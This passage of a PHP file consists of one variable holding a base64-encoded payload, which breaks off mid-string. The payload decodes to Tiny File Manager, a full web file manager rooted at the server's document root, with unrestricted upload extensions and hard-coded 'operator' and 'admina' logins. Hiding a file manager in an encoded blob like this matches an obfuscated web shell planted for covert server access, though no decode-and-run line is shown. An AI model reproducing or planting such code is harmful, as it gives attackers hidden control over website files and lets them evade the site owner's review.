$z = "PD9waHAKLy9EZWZhdWx0IENvbmZpZ3VyYXRpb24KJENPTkZJRyA9ICd7ImxhbmciOiJlbiIsImVycm9yX3JlcG9ydGluZyI6ZmFsc2UsInNob3dfaGlkZGVuIjpmYWxzZSwiaGlkZV9Db2xzIjpmYWxzZSwidGhlbWUiOiJsaWdodCJ9JzsKCi8qKgogKiBIM0sgfCBUaW55IEZpbGUgTWFuYWdlciBWMi41LjMKICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnMKICogQGVtYWlsIGNjcHByb2dyYW1tZXJzQGdtYWlsLmNvbQogKiBAZ2l0aHViIGh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIKICogQGxpbmsgaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvCiAqLwoKLy9URk0gdmVyc2lvbgpkZWZpbmUoJ1ZFUlNJT04nLCAnMi41LjMnKTsKCi8vQXBwbGljYXRpb24gVGl0bGUKZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTsKCi8vIC0tLSBFRElUIEJFTE9XIENPTkZJR1VSQVRJT04gQ0FSRUZVTExZIC0tLQoKLy8gQXV0aCB3aXRoIGxvZ2luL3Bhc3N3b3JkCi8vIHNldCB0cnVlL2ZhbHNlIHRvIGVuYWJsZS9kaXNhYmxlIGl0Ci8vIElzIGluZGVwZW5kZW50IGZyb20gSVAgd2hpdGUtIGFuZCBibGFja2xpc3RpbmcKJHVzZV9hdXRoID0gdHJ1ZTsKCi8vIExvZ2luIHVzZXIgbmFtZSBhbmQgcGFzc3dvcmQKLy8gVXNlcnM6IGFycmF5KCdVc2VybmFtZScgPT4gJ1Bhc3N3b3JkJywgJ1VzZXJuYW1lMicgPT4gJ1Bhc3N3b3JkMicsIC4uLikKLy8gR2VuZXJhdGUgc2VjdXJlIHBhc3N3b3JkIGhhc2ggLSBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8vZG9jcy9wd2QuaHRtbAokYXV0aF91c2VycyA9IGFycmF5KAogICAgJ29wZXJhdG9ycicgPT4gJyQyeSQxMCRiTm8uRE9wdVN6MFh2VW9ZdVJBQkZPRGg0S21YaFNYSUQwTHJVZVhGTjFyTkJtak1GbnBSMicsCiAgICAnYWRtaW5hJyA9PiAnJDJ5JDEwJGJOby5ET3B1U3owWHZVb1l1UkFCRk9EaDRLbVhoU1hJRDBMclVlWEZOMXJOQm1qTUZucFIyJwopOwoKLy8gUmVhZG9ubHkgdXNlcnMKLy8gZS5nLiBhcnJheSgndXNlcnMnLCAnZ3Vlc3QnLCAuLi4pCiRyZWFkb25seV91c2VycyA9IGFycmF5KAogICAgJ3VzZXInCik7CgovLyBHbG9iYWwgcmVhZG9ubHksIGluY2x1ZGluZyB3aGVuIGF1dGggaXMgbm90IGJlaW5nIHVzZWQKJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlOwoKLy8gdXNlciBzcGVjaWZpYyBkaXJlY3RvcmllcwovLyBhcnJheSgnVXNlcm5hbWUnID0+ICdEaXJlY3RvcnkgcGF0aCcsICdVc2VybmFtZTInID0+ICdEaXJlY3RvcnkgcGF0aCcsIC4uLikKJGRpcmVjdG9yaWVzX3VzZXJzID0gYXJyYXkoKTsKCi8vIEVuYWJsZSBoaWdobGlnaHQuanMgKGh0dHBzOi8vaGlnaGxpZ2h0anMub3JnLykgb24gdmlldydzIHBhZ2UKJHVzZV9oaWdobGlnaHRqcyA9IHRydWU7CgovLyBoaWdobGlnaHQuanMgc3R5bGUKLy8gZm9yIGRhcmsgdGhlbWUgdXNlICdpci1ibGFjaycKJGhpZ2hsaWdodGpzX3N0eWxlID0gJ3ZzJzsKCi8vIEVuYWJsZSBhY2UuanMgKGh0dHBzOi8vYWNlLmM5LmlvLykgb24gdmlldydzIHBhZ2UKJGVkaXRfZmlsZXMgPSB0cnVlOwoKLy8gRGVmYXVsdCB0aW1lem9uZSBmb3IgZGF0ZSgpIGFuZCB0aW1lKCkKLy8gRG9jIC0gaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL3RpbWV6b25lcy5waHAKJGRlZmF1bHRfdGltZXpvbmUgPSAnRXRjL1VUQyc7IC8vIFVUQwoKLy8gUm9vdCBwYXRoIGZvciBmaWxlIG1hbmFnZXIKLy8gdXNlIGFic29sdXRlIHBhdGggb2YgZGlyZWN0b3J5IGkuZTogJy92YXIvd3d3L2ZvbGRlcicgb3IgJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ZvbGRlcicKJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CgovLyBSb290IHVybCBmb3IgbGlua3MgaW4gZmlsZSBtYW5hZ2VyLlJlbGF0aXZlIHRvICRodHRwX2hvc3QuIFZhcmlhbnRzOiAnJywgJ3BhdGgvdG8vc3ViZm9sZGVyJwovLyBXaWxsIG5vdCB3b3JraW5nIGlmICRyb290X3BhdGggd2lsbCBiZSBvdXRzaWRlIG9mIHNlcnZlciBkb2N1bWVudCByb290CiRyb290X3VybCA9ICcnOwoKLy8gU2VydmVyIGhvc3RuYW1lLiBDYW4gc2V0IG1hbnVhbGx5IGlmIHdyb25nCi8vICRfU0VSVkVSWydIVFRQX0hPU1QnXS4nL2ZvbGRlcicKJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCi8vIGlucHV0IGVuY29kaW5nIGZvciBpY29udgokaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnOwoKLy8gZGF0ZSgpIGZvcm1hdCBmb3IgZmlsZSBtb2RpZmljYXRpb24gZGF0ZQovLyBEb2MgLSBodHRwczovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5kYXRlLnBocAokZGF0ZXRpbWVfZm9ybWF0ID0gJ20vZC9ZIGc6aSBBJzsKCi8vIFBhdGggZGlzcGxheSBtb2RlIHdoZW4gdmlld2luZyBmaWxlIGluZm9ybWF0aW9uCi8vICdmdWxsJyA9PiBzaG93IGZ1bGwgcGF0aAovLyAncmVsYXRpdmUnID0+IHNob3cgcGF0aCByZWxhdGl2ZSB0byByb290X3BhdGgKLy8gJ2hvc3QnID0+IHNob3cgcGF0aCBvbiB0aGUgaG9zdAokcGF0aF9kaXNwbGF5X21vZGUgPSAnZnVsbCc7CgovLyBBbGxvd2VkIGZpbGUgZXh0ZW5zaW9ucyBmb3IgY3JlYXRlIGFuZCByZW5hbWUgZmlsZXMKLy8gZS5nLiAndHh0LGh0bWwsY3NzLGpzJwokYWxsb3dlZF9maWxlX2V4dGVuc2lvbnMgPSAnJzsKCi8vIEFsbG93ZWQgZmlsZSBleHRlbnNpb25zIGZvciB1cGxvYWQgZmlsZXMKLy8gZS5nLiAnZ2lmLHBuZyxqcGcsaHRtbCx0eHQnCiRhbGxvd2VkX3VwbG9hZF9leHRlbnNpb25zID0gJyc7CgovLyBGYXZpY29uIHBhdGguIFRoaXMgY2FuIGJlIGVpdGhlciBhIGZ1bGwgdXJsIHRvIGFuIC5QTkcgaW1hZ2UsIG9yIGEgcGF0aCBiYXNlZCBvbiB0aGUgZG9jdW1lbnQgcm9vdC4KLy8gZnVsbCBwYXRoLCBlLmcgaHR0cDovL2V4YW1wbGUuY29tL2Zhdmljb24ucG5nCi8vIGxvY2FsIHBhdGgsIGUuZyBpbWFnZXMvaWNvbnMvZmF2aWNvbi5wbmcKJGZhdmljb25fcGF0aCA9ICcnOwoKLy8gRmlsZXMgYW5kIGZvbGRlcnMgdG8gZXhjbHVkZWQgZnJvbSBsaXN0aW5nCi8vIGUuZy4gYXJyYXkoJ215ZmlsZS5odG1sJywgJ3BlcnNvbmFsLWZvbGRlcicsICcqLnBocCcsIC4uLikKJGV4Y2x1ZGVfaXRlbXMgPSBhcnJheSgpOwoKLy8gT25saW5lIG9mZmljZSBEb2NzIFZpZXdlcgovLyBBdmFpbGFiZSBydWxlcyBhcmUgJ2dvb2dsZScsICdtaWNyb3NvZnQnIG9yIGZhbHNlCi8vIEdvb2dsZSA9PiBWaWV3IGRvY3VtZW50cyB1c2luZyBHb29nbGUgRG9jcyBWaWV3ZXIKLy8gTWljcm9zb2Z0ID0+IFZpZXcgZG9jdW1lbnRzIHVzaW5nIE1pY3Jvc29mdCBXZWIgQXBwcyBWaWV3ZXIKLy8gZmFsc2UgPT4gZGlzYWJsZSBvbmxpbmUgZG9jIHZpZXdlcgokb25saW5lX3ZpZXdlciA9ICdnb29nbGUnOwoKLy8gU3RpY2t5IE5hdiBiYXIKLy8gdHJ1ZSA9PiBlbmFibGUgc3RpY2t5IGhlYWRlcgovLyBmYWxzZSA9PiBkaXNhYmxlIHN0aWNreSBoZWFkZXIKJHN0aWNreV9uYXZiYXIgPSB0cnVlOwoKLy8gTWF4aW11bSBmaWxlIHVwbG9hZCBzaXplCi8vIEluY3JlYXNlIHRoZSBmb2xsb3dpbmcgdmFsdWVzIGluIHBocC5pbmkgdG8gd29yayBwcm9wZXJseQovLyBtZW1vcnlfbGltaXQsIHVwbG9hZF9tYXhfZmlsZXNpemUsIHBvc3RfbWF4X3NpemUKJG1heF91cGxvYWRfc2l6ZV9ieXRlcyA9IDUwMDAwMDAwMDA7IC8vIHNpemUgNSwwMDAsMDAwLDAwMCBieXRlcyAofjVHQikKCi8vIGNodW5rIHNpemUgdXNlZCBmb3IgdXBsb2FkCi8vIGVnLiBkZWNyZWFzZSB0byAxTUIgaWYgbmdpbnggcmVwb3J0cyBwcm9ibGVtIDQxMyBlbnRpdHkgdG9vIGxhcmdlCiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7IC8vIGNodW5rIHNpemUgMiwwMDAsMDAwIGJ5dGVzICh+Mk1CKQoKLy8gUG9zc2libGUgcnVsZXMgYXJlICdPRkYnLCAnQU5EJyBvciAnT1InCi8vIE9GRiA9PiBEb24ndCBjaGVjayBjb25uZWN0aW9uIElQLCBkZWZhdWx0cyB0byBPRkYKLy8gQU5EID0+IENvbm5lY3Rpb24gbXVzdCBiZSBvbiB0aGUgd2hpdGVsaXN0LCBhbmQgbm90IG9uIHRoZSBibGFja2xpc3QKLy8gT1IgPT4gQ29ubmVjdGlvbiBtdXN0IGJlIG9uIHRoZSB3aGl0ZWxpc3QsIG9yIG5vdCBvbiB0aGUgYmxhY2tsaXN0CiRpcF9ydWxlc2V0ID0gJ09GRic7CgovLyBTaG91bGQgdXNlcnMgYmUgbm90aWZpZWQgb2YgdGhlaXIgYmxvY2s/CiRpcF9zaWxlbnQgPSB0cnVlOwoKLy8gSVAtYWRkcmVzc2VzLCBib3RoIGlwdjQgYW5kIGlwdjYKJGlwX3doaXRlbGlzdCA9IGFycmF5KAogICAgJzEyNy4wLjAuMScsICAgIC8vIGxvY2FsIGlwdjQKICAgICc6OjEnICAgICAgICAgICAvLyBsb2NhbCBpcHY2Cik7CgovLyBJUC1hZGRyZXNzZXMsIGJvdGggaXB2NCBhbmQgaXB2NgokaXBfYmxhY2tsaXN0ID0gYXJyYXkoCiAgICAnMC4wLjAuMCcsICAgICAgLy8gbm9uLXJvdXRhYmxlIG1ldGEgaXB2NAogICAgJzo6JyAgICAgICAgICAgIC8vIG5vbi1yb3V0YWJsZSBtZXRhIGlwdjYKKTsKCi8vIGlmIFVzZXIgaGFzIHRoZSBleHRlcm5hbCBjb25maWcgZmlsZSwgdHJ5IHRvIHVzZSBpdCB0byBvdmVycmlkZSB0aGUgZGVmYXVsdCBjb25maWcgYWJvdmUgW2NvbmZpZy5waHBdCi8vIHNhbXBsZSBjb25maWcgLSBodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8vY29uZmlnLXNhbXBsZS50eHQKJGNvbmZpZ19maWxlID0gX19ESVJfXy4nL2NvbmZpZy5waHAnOwppZiAoaXNfcmVhZGFibGUoJGNvbmZpZ19maWxlKSkgewogICAgQGluY2x1ZGUoJGNvbmZpZ19maWxlKTsKfQoKLy8gRXh0ZXJuYWwgQ0ROIHJlc291cmNlcyB0aGF0IGNhbiBiZSB1c2VkIGluIHRoZSBIVE1MIChyZXBsYWNlIGZvciBHRFBSIGNvbXBsaWFuY2UpCiRleHRlcm5hbCA9IGFycmF5KAogICAgJ2Nzcy1ib290c3RyYXAnID0+ICc8bGluayBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjIuMi9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBpbnRlZ3JpdHk9InNoYTM4NC1aZW5oODdxWDVKbksySmwwdldhOENrMnJka1EyQnplcDVJRHhiY25DZXVPeGp6clBGL2V0M1VSeTlCdjFXVFJpIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4nLAogICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2Ryb3B6b25lLzUuOS4zL21pbi9kcm9wem9uZS5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiPicsCiAgICAnY3NzLWZvbnQtYXdlc29tZScgPT4gJzxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+JywKICAgICdjc3MtaGlnaGxpZ2h0anMnID0+ICc8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2hpZ2hsaWdodC5qcy8xMS42LjAvc3R5bGVzLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3MiPicsCiAgICAnanMtYWNlJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FjZS8xLjEzLjEvYWNlLmpzIj48L3NjcmlwdD4nLAogICAgJ2pzLWJvb3RzdHJhcCcgPT4gJzxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjIuMi9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1PRVJjQTJFcWpKQ01BKy8zeStneElPcU1Fand0eEpZN3FQQ3FzZGx0Yk5KdWFPZTkyMyttby8vZjZWOFFic3czIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4nLAogICAgJ2pzLWRyb3B6b25lJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2Ryb3B6b25lLzUuOS4zL21pbi9kcm9wem9uZS5taW4uanMiPjwvc2NyaXB0PicsCiAgICAnanMtanF1ZXJ5JyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjYuMS5taW4uanMiIGludGVncml0eT0ic2hhMjU2LW84OEF3UW5aQitWRHZFOXR2SVhyTVFhUGxGRlNVVFIrbmxkUW0xTHVQWFE9IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4nLAogICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmRhdGF0YWJsZXMubmV0LzEuMTMuMS9qcy9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanMiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIGRlZmVyPjwvc2NyaXB0PicsCiAgICAnanMtaGlnaGxpZ2h0anMnID0+ICc8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvaGlnaGxpZ2h0LmpzLzExLjYuMC9oaWdobGlnaHQubWluLmpzIj48L3NjcmlwdD4nLAogICAgJ3ByZS1qc2RlbGl2cicgPT4gJzxsaW5rIHJlbD0icHJlY29ubmVjdCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0IiBjcm9zc29yaWdpbi8+PGxpbmsgcmVsPSJkbnMtcHJlZmV0Y2giIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldCIvPicsCiAgICAncHJlLWNsb3VkZmxhcmUnID0+ICc8bGluayByZWw9InByZWNvbm5lY3QiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20iIGNyb3Nzb3JpZ2luLz48bGluayByZWw9ImRucy1wcmVmZXRjaCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbSIvPicKKTsKCi8vIC0tLSBFRElUIEJFTE9XIENBUkVGVUxMWSBPUiBETyBOT1QgRURJVCBBVCBBTEwgLS0tCgovLyBtYXggdXBsb2FkIGZpbGUgc2l6ZQpkZWZpbmUoJ01BWF9VUExPQURfU0laRScsICRtYXhfdXBsb2FkX3NpemVfYnl0ZXMpOwoKLy8gdXBsb2FkIGNodW5rIHNpemUKZGVmaW5lKCdVUExPQURfQ0hVTktfU0laRScsICR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyk7CgovLyBwcml2YXRlIGtleSBhbmQgc2Vzc2lvbiBuYW1lIHRvIHN0b3JlIHRvIHRoZSBzZXNzaW9uCmlmICggIWRlZmluZWQoICdGTV9TRVNTSU9OX0lEJykpIHsKICAgIGRlZmluZSgnRk1fU0VTU0lPTl9JRCcsICdmaWxlbWFuYWdlcicpOwp9CgovLyBDb25maWd1cmF0aW9uCiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7CgovLyBEZWZhdWx0IGxhbmd1YWdlCiRsYW5nID0gaXNzZXQoJGNmZy0+ZGF0YVsnbGFuZyddKSA/ICRjZmctPmRhdGFbJ2xhbmcnXSA6ICdlbic7CgovLyBTaG93IG9yIGhpZGUgZmlsZXMgYW5kIGZvbGRlcnMgdGhhdCBzdGFydHMgd2l0aCBhIGRvdAokc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlOwoKLy8gUEhQIGVycm9yIHJlcG9ydGluZyAtIGZhbHNlID0gVHVybnMgb2ZmIEVycm9ycywgdHJ1ZSA9IFR1cm5zIG9uIEVycm9ycwokcmVwb3J0X2Vycm9ycyA9IGlzc2V0KCRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddKSA/ICRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddIDogdHJ1ZTsKCi8vIEhpZGUgUGVybWlzc2lvbnMgYW5kIE93bmVyIGNvbHMgaW4gZmlsZS1saXN0aW5nCiRoaWRlX0NvbHMgPSBpc3NldCgkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSkgPyAkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSA6IHRydWU7CgovLyBUaGVtZQokdGhlbWUgPSBpc3NldCgkY2ZnLT5kYXRhWyd0aGVtZSddKSA/ICRjZmctPmRhdGFbJ3RoZW1lJ10gOiAnbGlnaHQnOwoKZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7CgovL2F2YWlsYWJsZSBsYW5ndWFnZXMKJGxhbmdfbGlzdCA9IGFycmF5KAogICAgJ2VuJyA9PiAnRW5nbGlzaCcKKTsKCmlmICgkcmVwb3J0X2Vycm9ycyA9PSB0cnVlKSB7CiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgRV9BTEwpOwogICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7Cn0gZWxzZSB7CiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgRV9BTEwpOwogICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7Cn0KCi8vIGlmIGZtIGluY2x1ZGVkCmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7CiAgICAkdXNlX2F1dGggPSBmYWxzZTsKICAgICRzdGlja3lfbmF2YmFyID0gZmFsc2U7Cn0gZWxzZSB7CiAgICBAc2V0X3RpbWVfbGltaXQoNjAwKTsKCiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTsKCiAgICBpbmlfc2V0KCdkZWZhdWx0X2NoYXJzZXQnLCAnVVRGLTgnKTsKICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7CiAgICAgICAgbWJfaW50ZXJuYWxfZW5jb2RpbmcoJ1VURi04Jyk7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7CiAgICAgICAgbWJfcmVnZXhfZW5jb2RpbmcoJ1VURi04Jyk7CiAgICB9CgogICAgc2Vzc2lvbl9jYWNoZV9saW1pdGVyKCdub2NhY2hlJyk7IC8vIFByZXZlbnQgbG9nb3V0IGlzc3VlIGFmdGVyIHBhZ2Ugd2FzIGNhY2hlZAogICAgc2Vzc2lvbl9uYW1lKEZNX1NFU1NJT05fSUQgKTsKICAgIGZ1bmN0aW9uIHNlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24oJGNvZGUsICRtc2csICRmaWxlLCAkbGluZSkgewogICAgICAgIC8vIFBlcm1pc3Npb24gZGVuaWVkIGZvciBkZWZhdWx0IHNlc3Npb24sIHRyeSB0byBjcmVhdGUgYSBuZXcgb25lCiAgICAgICAgaWYgKCRjb2RlID09IDIpIHsKICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpOwogICAgICAgICAgICBzZXNzaW9uX2lkKHNlc3Npb25fY3JlYXRlX2lkKCkpOwogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOwogICAgICAgIH0KICAgIH0KICAgIHNldF9lcnJvcl9oYW5kbGVyKCdzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uJyk7CiAgICBzZXNzaW9uX3N0YXJ0KCk7CiAgICByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKfQoKLy9HZW5lcmF0aW5nIENTUkYgVG9rZW4KaWYgKGVtcHR5KCRfU0VTU0lPTlsndG9rZW4nXSkpIHsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3JhbmRvbV9ieXRlcycpKSB7CiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTsKICAgIH0gZWxzZSB7CiAgICAJJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoMzIpKTsKICAgIH0KfQoKaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkgewogICAgJHVzZV9hdXRoID0gZmFsc2U7Cn0KCiRpc19odHRwcyA9IGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAoJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJyB8fCAkX1NFUlZFUlsnSFRUUFMnXSA9PSAxKQogICAgfHwgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnOwoKLy8gdXBkYXRlICRyb290X3VybCBiYXNlZCBvbiB1c2VyIHNwZWNpZmljIGRpcmVjdG9yaWVzCmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkgewogICAgJHdkID0gZm1fY2xlYW5fcGF0aChkaXJuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKSk7CiAgICAkcm9vdF91cmwgPSAgJHJvb3RfdXJsLiR3ZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRkaXJlY3Rvcmllc191c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXTsKfQovLyBjbGVhbiAkcm9vdF91cmwKJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpOwoKLy8gYWJzIHBhdGggZm9yIHNpdGUKZGVmaW5lZCgnRk1fUk9PVF9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1JPT1RfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzovLycgLiAkaHR0cF9ob3N0IC4gKCFlbXB0eSgkcm9vdF91cmwpID8gJy8nIC4gJHJvb3RfdXJsIDogJycpKTsKZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzovLycgLiAkaHR0cF9ob3N0IC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwoKLy8gbG9nb3V0CmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7CiAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTsKICAgIHVuc2V0KCAkX1NFU1NJT05bJ3Rva2VuJ10pOyAKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKfQoKLy8gVmFsaWRhdGUgY29ubmVjdGlvbiBJUAppZiAoJGlwX3J1bGVzZXQgIT0gJ09GRicpIHsKICAgIGZ1bmN0aW9uIGdldENsaWVudElQKCkgewogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHsKICAgICAgICAgICAgcmV0dXJuICAkX1NFUlZFUlsiSFRUUF9DRl9DT05ORUNUSU5HX0lQIl07CiAgICAgICAgfWVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfWF9GT1JXQVJERURfRk9SJywgJF9TRVJWRVIpKSB7CiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbIkhUVFBfWF9GT1JXQVJERURfRk9SIl07CiAgICAgICAgfWVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ1JFTU9URV9BRERSJywgJF9TRVJWRVIpKSB7CiAgICAgICAgICAgIHJldHVybiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgICAgICB9ZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9DTElFTlRfSVAnLCAkX1NFUlZFUikpIHsKICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydIVFRQX0NMSUVOVF9JUCddOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgJGNsaWVudElwID0gZ2V0Q2xpZW50SVAoKTsKICAgICRwcm9jZWVkID0gZmFsc2U7CiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpOwogICAgJGJsYWNrbGlzdGVkID0gaW5fYXJyYXkoJGNsaWVudElwLCAkaXBfYmxhY2tsaXN0KTsKCiAgICBpZigkaXBfcnVsZXNldCA9PSAnQU5EJyl7CiAgICAgICAgaWYoJHdoaXRlbGlzdGVkID09IHRydWUgJiYgJGJsYWNrbGlzdGVkID09IGZhbHNlKXsKICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlOwogICAgICAgIH0KICAgIH0gZWxzZQogICAgaWYoJGlwX3J1bGVzZXQgPT0gJ09SJyl7CiAgICAgICAgIGlmKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSl7CiAgICAgICAgICAgICRwcm9jZWVkID0gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgaWYoJHByb2NlZWQgPT0gZmFsc2UpewogICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpOwoKICAgICAgICBpZigkaXBfc2lsZW50ID09IGZhbHNlKXsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FjY2VzcyBkZW5pZWQuIElQIHJlc3RyaWN0aW9uIGFwcGxpY2FibGUnKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7CiAgICAgICAgICAgIGZtX3Nob3dfbWVzc2FnZSgpOwogICAgICAgIH0KICAgICAgICBleGl0KCk7CiAgICB9Cn0KCi8vIENoZWNraW5nIGlmIHRoZSB1c2VyIGlzIGxvZ2dlZCBpbiBvciBub3QuIElmIG5vdCwgaXQgd2lsbCBzaG93IHRoZSBsb2dpbiBmb3JtLg